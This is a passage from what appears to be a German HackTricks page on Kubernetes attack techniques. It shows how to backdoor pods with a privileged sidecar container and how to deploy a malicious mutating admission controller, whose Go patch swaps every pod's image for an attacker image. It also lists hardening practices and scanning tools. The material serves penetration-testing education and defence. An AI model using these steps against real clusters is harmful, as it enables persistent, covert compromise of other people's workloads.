Standardmäßig gibt es keine Verschlüsselung in der Kommunikation zwischen Pods. Gegenseitige Authentifizierung, bidirektional, Pod zu Pod.
Create a sidecar proxy app
Ein Sidecar-Container besteht einfach darin, einen zweiten (oder mehr) Container innerhalb eines Pods hinzuzufügen.
Zum Beispiel ist das Folgende Teil der Konfiguration eines Pods mit 2 Containern:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
Um beispielsweise ein bestehendes Pod mit einem neuen Container zu backdooren, könnten Sie einfach einen neuen Container in der Spezifikation hinzufügen. Beachten Sie, dass Sie dem zweiten Container mehr Berechtigungen geben könnten, die der erste nicht hat.
Weitere Informationen unter: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
Bösartiger Admission Controller
Ein Admission Controller unterbricht Anfragen an den Kubernetes API-Server vor der Persistenz des Objekts, aber nachdem die Anfrage authentifiziert und autorisiert wurde.
Wenn es einem Angreifer gelingt, einen Mutation Admission Controller zu injizieren, kann er bereits authentifizierte Anfragen modifizieren. Dies könnte potenziell zu Privilegieneskalation führen und in der Regel im Cluster persistieren.
Beispiel von https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
Überprüfen Sie den Status, um zu sehen, ob es bereit ist:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
Dann deployen Sie ein neues Pod:
kubectl run nginx --image nginx
kubectl get po -w
Wenn Sie den ErrImagePull
-Fehler sehen, überprüfen Sie den Bildnamen mit einer der Abfragen:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
Wie Sie im obigen Bild sehen können, haben wir versucht, das Image nginx
auszuführen, aber das letztendlich ausgeführte Image ist rewanthtammana/malicious-image
. Was ist gerade passiert!!?
Technische Details
Das Skript ./deploy.sh
richtet einen mutierenden Webhook-Zulassungscontroller ein, der Anfragen an die Kubernetes-API gemäß den in seinen Konfigurationszeilen angegebenen Vorgaben ändert und die beobachteten Ergebnisse beeinflusst:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
Der obige Snippet ersetzt das erste Container-Image in jedem Pod mit rewanthtammana/malicious-image
.
OPA Gatekeeper umgehen
Kubernetes OPA Gatekeeper bypass
Best Practices
Deaktivierung der Automount-Funktion von Service Account Tokens
- Pods und Service Accounts: Standardmäßig montieren Pods ein Service Account Token. Um die Sicherheit zu erhöhen, erlaubt Kubernetes die Deaktivierung dieser Automount-Funktion.
- Anwendung: Setzen Sie
automountServiceAccountToken: false
in der Konfiguration von Service Accounts oder Pods ab Kubernetes-Version 1.6.
Einschränkende Benutzerzuweisung in RoleBindings/ClusterRoleBindings
- Selektive Einbeziehung: Stellen Sie sicher, dass nur notwendige Benutzer in RoleBindings oder ClusterRoleBindings einbezogen werden. Überprüfen Sie regelmäßig und entfernen Sie irrelevante Benutzer, um eine strenge Sicherheit aufrechtzuerhalten.
Namespace-spezifische Rollen über Cluster-weite Rollen
- Rollen vs. ClusterRoles: Bevorzugen Sie die Verwendung von Rollen und RoleBindings für namespace-spezifische Berechtigungen anstelle von ClusterRoles und ClusterRoleBindings, die clusterweit gelten. Dieser Ansatz bietet eine feinere Kontrolle und begrenzt den Umfang der Berechtigungen.
Verwendung automatisierter Tools
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions
GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters
Referenzen
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.